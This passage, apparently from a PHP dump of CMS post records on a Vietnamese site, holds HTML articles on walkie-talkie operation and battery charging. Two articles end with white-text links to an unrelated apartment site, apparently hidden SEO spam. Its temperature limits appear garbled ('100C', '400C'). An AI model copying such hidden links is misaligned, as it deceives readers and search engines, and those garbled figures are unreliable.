0px; padding: 0px;">12h</span></span></span></span></p> </td> </tr> </tbody> </table> </div> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Cách sử dụng pin hiệu quả:</strong></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nạp pin 8 tiếng, sử dụng hết pin cho 3 lần đầu tiên.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Trước khi sử dụng nên nạp đầy pin.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sử dụng pin ở những nơi có nhiệt độ dưới 100C hoặc trên 400C.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nên nạp pin với bộ nạp có chế độ tự ngắt khi pin đầy.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sạc pin qua đêm.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Sạc đầy pin nếu muốn bảo quản thời gian dài. Định kì sạc lại 2 tháng 1 lần. </span></span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Goldlight</span></a></li> </ul> ', 'images' => '201705080835254aec30307fe530ba9537842b35eb5fa1.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '79070', 'slug' => 'pin-may-toan-dac-dien-tu-topcon', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '849', 'rght' => '850', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '486', 'name' => 'Hướng dẫn cơ bản sử dụng máy bộ đàm', 'code' => null, 'alias' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<div style="text-align: justify;"> <font color="#404040" face="sans-serif"><span style="font-size: 13.3333px;"><b>Chúng tôi xin gửi tới các bạn một vài hướng dẫn cơ bản trong việc sử dụng máy bộ đàm.</b></span></font></div> ', 'content' => '<p style="box-sizing: border-box; user-select: text; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64);"> <span style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><img alt="" src="/admin/webroot/upload/image/images/huong-dan-su-dung-may-bo-dam-cam-tay-chuan-nhat-2015 sua(1).jpg" style="width: 500px; height: 402px;" /><br /> <br /> 1. Tắt và mở máy</strong></span> <strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">bộ đàm</strong></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Nút tắt mở máy thường là nút vặn (xoay) nằm trên đầu máy, thường cũng là nút tùy chỉnh Volume (âm thanh) lớn nhỏ của máy bộ đàm cầm tay (Vị trí 3 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím trước máy, nút tắt mở nguồn có thể được tích hợp bằng một nút bấm ở trên bàn phím của máy (Vị trí 3 – Hình bên trái). Nút tăng chỉnh Volume (âm thanh) là nút số 4.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi tắt mở nguồn máy</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc phải được lắp vào máy và đã lắp đúng quy định.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pin sạc đã được nạp điện đầy theo yêu cầu sử dụng.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">2. Tùy chọn kênh liên lạc</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Để có thể liên lạc được với nhau thì các máy bộ đàm phải để ở cùng 1 kênh liên lạc, thao tác tùy chọn kênh liên lạc được thực hiện bằng cách xoay nút (vặn) chuyển kênh nằm trên đầu máy, kế bên nút nguồn + Volume (Vị trí 2 – Hình bên phải).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Đối với loại máy bộ đàm cầm tay có bàn phím ở phía trước máy, thao tác tùy chọn kênh liên lạc được thực hiện bằng 2 nút bấm (˄˅hoặc ↑ ↓) nằm ở phía trước máy (Vị trí 2 – Hình bên trái).</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi chọn kênh liên lạc</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Máy bộ đàm đã được cài đặt tần số sử dụng phù hợp.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tùy chọn đúng kênh liên lạc theo nhóm đã quy định.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">3. Thao tác liên lạc qua máy bộ đàm</strong></span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các máy bộ đàm cầm tay đều có nút PTT (Push to talk), đó là 1 nút lớn nằm phía bên trái của máy (Vị trí 1 – Trên hình vẽ). Khi muốn nói chuyện với các máy bộ đàm khác, người sử dụng cần phải bóp giữ nút PTT này trước và trong suốt quá trình thực hiện cuộc gọi, sau khi nói xong hãy thả nút này ra để nghe những thông tin phản hồi từ những máy khác.</span></p> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">Các chú ý khi liên lạc qua máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Không được liên lạc khi máy không có anten.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Hạn chế việc liên lạc khi máy đang sạc pin hoặc pin yếu.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Tất cả các yếu tố trên đều có thể dẫn đến tình trạng hỏng máy hoặc giảm chất lượng sử dụng của máy.</span></li> </ul> <p style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64); text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; user-select: text !important;">4. Sạc pin máy bộ đàm</strong></span></p> <ul style="box-sizing: border-box; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: none; color: rgb(64, 64, 64); user-select: text !important;"> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Cần phải sạc thật đầy pin đối với các máy bộ đàm mới hoặc có pin mới mua.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Sử dụng hết pin rồi mới bắt đầu quá trình sạc lại pin.</span></li> <li style="box-sizing: border-box; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; list-style: inside; text-align: justify; user-select: text !important;"> <span style="box-sizing: border-box; user-select: text !important; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Khi sạc pin nên tắt máy hoặc tháo rời pin ra khỏi máy để sạc. <a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Gold light</span></a></span></li> </ul> ', 'images' => '20170508082500cf9cf2aab38a5b43cf9daff032f0eaab.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '70748', 'slug' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '847', 'rght' => '848', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '485', 'name' => 'HƯỚNG DẪN SẠC PIN MÁY BỘ ĐÀM ĐÚNG KỸ THUẬT', 'code' => null, 'alias' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Độ bền và tuổi thọ của pin không chỉ phụ thuộc chủ yếu vào loại chất liệu sản xuất pin mà còn phụ thuộc vào các yếu tố khác trong quá trình sử dụng như: sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để đảm bảo sử dụng pin sạc hiệu quả, người sử dụng cần phải nắm rõ các yêu cầu kỹ thuật về quy trình sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> </p> ', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(85, 85, 85); text-align: justify;"><span style="background-color:#ffffff;">Ngày nay, pin sạc dùng cho các thiết bị điện tử viễn thông nói chung và máy bộ đàm nói riêng thường chủ yếu bao gồm các loại Nikel Cadmium (Ni-Cd), Nikel Metal Hyderide (Ni-MH) và Lithium Ion (Li-Ion). </span></span></span></span><br /> <br /> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Trong đó:</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> </p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-Cd (Nikel Cadmium) là loại pin có dung lượng trung bình, được sản xuất từ hỗn hợp Niken và Cadmium, trong đó Cadmium là một chất độc hại, gây ảnh hưởng xấu đến môi trường sau khi ngưng sử dụng.</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-MH (Nikel Metal Hydride) là một kiểu pin sạc tương tự như pin Ni-Cd nhưng sử dụng hỗn hợp hấp thu Hiđrua thay cho Cadmium. Pin Ni-MH thường có dung lượng điện lớn gấp 2 - 3 lần so với pin NiCd cùng kích thước.</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Li-Ion (Lithium Ion) là loại pin dung lượng cao, cho phép sạc nhồi khi đang sử dụng. Loại pin này hiện tại đang được ưa chuộng sử dụng bởi các tính năng vượt trội của nó như: trọng lượng pin nhẹ, dung lượng lưu trữ cao, không có hiệu ứng nhớ, mức tự xả thấp, có thể sạc nhồi khi đang sử dụng.</span></span></span><br /> </p> <p style="user-select: text; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bảng so sánh các loại pin máy bộ đàm:</span></span></span></span></p> <p style="background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><img alt="" src="http://giamaybodam.vn/data/upload/images/Pinmaybodam.jpg" style="user-select: text !important; border: 0px; background: 0px 0px; font-weight: inherit; margin: 0px !important; padding: 0px; outline: 0px; vertical-align: top;" /></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách sạc pin máy bộ đàm: </span></span></span></span><br /> <br /> <span style="background-color: rgb(255, 255, 255); font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để sạc pin máy bộ đàm, chúng ta thường sử dụng bộ sạc đi kèm theo pin của nhà sản xuất. </span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Có 2 loại sạc: bộ sạc nhanh và bộ sạc tiêu chuẩn</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc nhanh</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc pin với dòng sạc (Ampe) cao, thời gian sạc pin ngắn từ 2 – 4 giờ. Các bộ sạc nhanh thường được thiết kế với bo mạch điều khiển sạc (sạc thông minh) nhằm để tránh trường hợp sạc quá mức, có thể gây hư hỏng pin hoặc gây ra những yếu tố không an toàn, nguy hiểm.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc nhanh ta cần phải chú ý đến tình trạng pin khi sạc, nếu pin nóng quá mức thì nên lấy pin ra và ngưng sạc đợi đến khi pin nguội bình thường rồi tiến hành sạc lại cho đến khi pin thực sự đầy. Đối với pin mới (mới mua hoặc để lâu giờ mới sử dụng lại) ta nên sạc 2 lần cho thật đầy rồi mới sử dụng.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 